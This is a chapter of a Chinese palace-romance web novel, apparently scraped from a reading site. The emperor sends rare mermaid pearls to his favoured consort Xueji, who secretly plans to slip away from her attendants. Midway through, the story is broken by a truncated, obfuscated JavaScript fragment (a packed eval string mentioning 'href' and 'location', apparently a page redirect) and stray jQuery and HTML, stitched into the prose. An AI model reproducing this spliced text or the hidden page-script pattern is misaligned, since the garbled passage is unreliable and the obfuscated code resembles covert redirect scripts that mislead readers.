红千 作品

246. 无价之宝

齐长宁步履稳健,身形挺拔如松,一路往沧池走去。阳光炙热,跟在他身后的近侍们早已满头细汗,气喘吁吁,唯独齐长宁神色如常,目不斜视,仿佛这烈日灼灼对他毫无影响。


魏昭君见齐长宁返回,惊讶之余直觉哪里不对,迎上前探询道:“陛下,雪霁可还好?”


齐长宁脚步未停,淡淡开口:“她很好。”语气平稳,却透着几分不容置喙的意味。稍顿,向魏昭君和声道:“恪儿龙舟赛夺冠,昭君随朕一同为他授赏。”


只有皇后才有资格与天子共同授赏,魏昭君大喜,立刻忽略直觉中的一点不安:“臣妾遵旨。”


齐长宁抱着雪夫人径自离去,没有圣旨谁也不敢离开,只敢窃窃私议,皆道雪夫人所获圣宠犹胜当年雅夫人,大齐天子要步萧天子后尘。


然而齐长宁回来了,他并未像世家盼望的那样沉醉于温柔乡,凤皇殿绝色无双的雪夫人没能留住天子,齐长宁有条不紊地处理各项事务。


参加龙舟赛的诸贵子弟获得奖赏;下水救济罗贡女的人获得奖赏;济罗贡女玩弄手段造成混乱,应受处罚,念在初犯不予追究;游园会照常进行,天子继续与民同乐……


雪霁不在,魏昭君一直陪在齐长宁身边,龙章凤姿,帝后之仪,让人不禁猜测:雪夫人虽得盛宠,后位还得是出自魏氏家族的魏夫人,终究是齐氏与世家共掌天下。


待游园会结束,齐长宁与魏昭君同往昭阳殿。


昭阳殿内烛光跃动,魏昭君亲自为齐长宁解下外袍,喜悦漫上眉梢——自雪霁入宫以来,齐长宁第一次未宿凤皇殿,选择宿在昭阳殿。


魏昭君含着脉脉情意看向齐长宁,她的夫君俊美如神祗,无法不爱。


齐长宁目光幽深,凝视着魏昭君,魏昭君眼中唯有他的身影,由始至终从未容纳旁人。


承受不住齐长宁的凝视,魏昭君羞涩低头,齐长宁眸色一深,抱起魏昭君走向寝床。床帏落下,魏昭君明丽端庄的脸上红晕升腾,情动处眉眼缱绻。


齐长宁情不自禁想起另一双眼睛,眼波潋滟幽如碧湖,不知不觉勾魂摄魄,让人深陷其中难以自拔。他见过雪霁很多种样子,每种神情都能牵动他的心弦,唯独情动的模样,他从未见过。


那是属于南乔木的。


胸口像是被无形的手攥紧,齐长宁停下动作,为魏昭君盖好锦被。


魏昭君一怔:“陛下?”


“夜深了,好好安寝。”齐长宁起身去穿外袍:“朕还有事。”


“陛下,”魏昭君侧起身,望着齐长宁的背影,艰涩道:“可是要去凤皇殿?”


齐长宁穿好外袍,转身走来,在魏昭君眼皮落下一吻,低声道:“朕去宣室殿。”


宣室殿乃天子处理政务所在,魏昭君不能阻拦,眼睁睁看着齐长宁的身影消失在床帏外。


齐长宁走出昭阳殿,高常侍上前低声禀道:“南海鲛珠已寻到,遵陛下旨意夤夜入宫。”


风吹来,齐长宁驻足望向夜空,黑蓝天幕中星光缥缈,弯月疏落暗淡。


齐盛安曾经提起,雪霁喜欢“明月寄”那样的宝珠。


世上宝珠属夜明珠最昂贵,自西戎回来,齐盛安便忙着寻找夜明珠。他先在齐宫找,齐宫所藏寥寥,品相不佳,齐盛安不满意,最后终于在魏无相那里中找到一对,才算称心。


齐桓知道此事后,感叹世家底蕴远胜齐氏;齐长宁却未作声,只是不动声色记下了雪霁喜欢明珠。


登基后不久,齐长宁下密旨,命人前往南海,寻找传说中的鲛珠。


夜明珠市价最贵,而传说中的鲛珠可遇不可求,乃无价之宝。


雪霁值得世间最好的一切。


密旨落笔时,齐长宁心中涌动着陌生情绪,仿佛一个从情窦初开的少年,在为寤寐思服的佳人筹备礼物,不停想象那双幽如碧湖的眼眸,在收到礼物时会绽放怎样的光彩。


这种陌生情绪令齐长宁激动不已,他在密旨中特意叮嘱:一旦寻得南海鲛珠,须不惜一切代价购入,无论昼夜时辰,务必以最快速度送达宫中,不得有误。


再难得的珍宝,只要诚心求取,用尽手段总能求得。


齐长宁以为鲛珠如是,雪霁的心亦如是。


现在,可遇不可求的无价鲛珠,已送抵宫中。


现在,雪霁怀有南乔木的孩子。


漆黑天幕夜云涌动,吞没稀疏星光和弯月,齐长宁胸口沉郁,他收回目光看向前方,夜色深沉,前方不可预见,齐长宁大步而行,直直走入深沉夜色。


宣室殿烛火通明,装着无价鲛珠的漆盒打开放在案几,一对光泽远胜珍珠的白色半透明宝珠躺在深蓝锦缎上,在烛光映照下华彩变幻,绮丽如梦。


让人无法忽略的美,就连侍立在旁的高常侍,也忍不住时时将视线投在这对鲛珠上。


齐长宁目不转睛,专心批阅奏章,一眼未曾看向鲛珠。


高常侍暗自纳闷:陛下费尽心思寻了这对鲛珠来,明摆着要送给雪夫人,可鲛珠到了,又一幅通宵处理政务的样子……真是圣心难测。


案上奏章所剩无几,齐长宁忽然开口唤道:“高常侍。”


胡思乱想的高常侍一个激灵,立刻上前,恭敬道:“是。”


“这个,”齐长宁眼皮都没抬,随手指了指案上漆盒:“送去凤皇殿。”


现在寅时天还没亮,圣谕送去凤皇殿,到底要不要唤醒雪夫人,让她谢恩……高常侍不敢多问,取了鲛珠往外走,顺便使眼色让殿中内侍一起退下。


殿中只剩齐长宁,他放下手中奏章。


他看奏章时,字里行间总是闪过那双幽如碧湖的眼眸,以往从未出现过这样情形,只要开始处理政事,绝没什么能扰乱齐长宁的心神。


齐长宁靠向靠背,闭了闭眼,抬手按住眉心。


他可以让南乔木消失,可雪霁有了南乔木的孩子,孩子与两人血脉相连,是斩不断的纽带,自此永远羁绊。


孩子……


齐长宁睁开眼睛,眼中染上浓重墨色,起身走向殿外:“备马,去京畿军营。”<


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15136435|145631||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


/p>


凤皇殿内,雪霁呼吸匀长,躺在帷幔重重的大床上好似熟睡。


她闭着眼睛,倾听守在外间的呼吸声,心中反复谋算需做的事情——女御总是跟在她身旁,想要不着痕迹地摆脱,需仔细筹谋;还有齐长宁,怎么才能摆脱齐长宁?


雪霁想了整整一晚,摆脱女御尚有谋算,摆脱齐长宁却实在无法可想,不由轻轻喟叹,女御立刻在外道:“殿下醒了?”


女御带着侍女鱼贯而入,雪霁微蹙眉,轻声问:“陛下昨夜歇在何处?”


这是雪霁第一次展露在意,似乎还带着几分醋意。


女御了然于心:习惯了独宠,就算心有所属,突然之间被后宫其他女人分走天子宠爱,失落和吃醋才是正常。


“殿下放心。”女御柔声道,“陛下昨夜只在昭阳殿驻留片刻,便往宣室殿处理政务,在宣室殿呆了整整一夜,今晨出宫去了京畿军营。”


没想到筹谋整晚无从着手的事情,竟这样轻松解决了,比她预想得还要好上许多。雪霁表现出明显松口气的样子,似乎对齐长宁没有宿在昭阳殿很是欣慰,又故作姿态道:“我有什么不放心的,女御多虑了。”


言不由衷,惹人怜爱。


“陛下此去突然,也不知几时回宫,唯恐殿下多思,出宫前特意遣高常侍送来一对鲛珠,送来的时候天还没亮呢。”女御一边遗憾齐长宁看不到雪霁吃醋的情态,一边让人取来漆盒:“殿下看看,这就是传说中的鲛珠。昔日西京繁华鼎盛时,天子遍寻四海,为雅夫人打造过一支鲛珠钗,号称天下独一。如今陛下为殿下寻来一对,又胜过当年雅夫人,可以做一对珠珥了。”


“珠珥映得脸上明晃晃的,我不喜欢。”雪霁捻起一颗鲛珠,粉金变幻的珠光映得纤细手指也似透明一般,沉吟半晌,道:“去请杨美人,让杨美人带上卢美人、郑婕妤,一起到凤皇殿来,我想用这对鲛珠做一条缀珠裙带,请她们参详参详。”


得了这样的至宝,是该在人前炫耀一番。


更何况公主殿下为杨美人求得赦免,这于雪霁虽是举手之劳,这份人情却须让杨美人记住。


女御遣人去请杨槃等人,三人尚未到,却有一位意想不到的人前来求见。


“济罗贡女朴国香求见雪夫人,自言不懂大齐宫规,耍弄手段水底喷火,致使雪夫人落入沧池,特来请罪。”


这关口,雪霁不想朴国香扰乱计划,但她之前对娜迦表现出兴趣,贸然拒绝又怕引起女御怀疑,心念电转,雪霁道:“带她进来。”


朴国香穿着朴素的济罗样式白衣,一根乌黑粗亮的长辫垂在身后,手捧礼盒躬身入内:“朴国香拜见雪夫人,国香无知狂妄,非但丢人现眼,还令雪夫人受惊,特来请罪。此为济罗至宝‘金缕玉犀带’,乃济罗逆王依附西戎时,西戎大部族所赐,不足赎罪,聊表歉意。”


今日运道之佳,简直难以令人置信。


“我正想将这对鲛珠镶缀为裙带,恰好你就来送‘金缕玉犀带’。”雪霁微笑起来:“留下吧,一起玩。”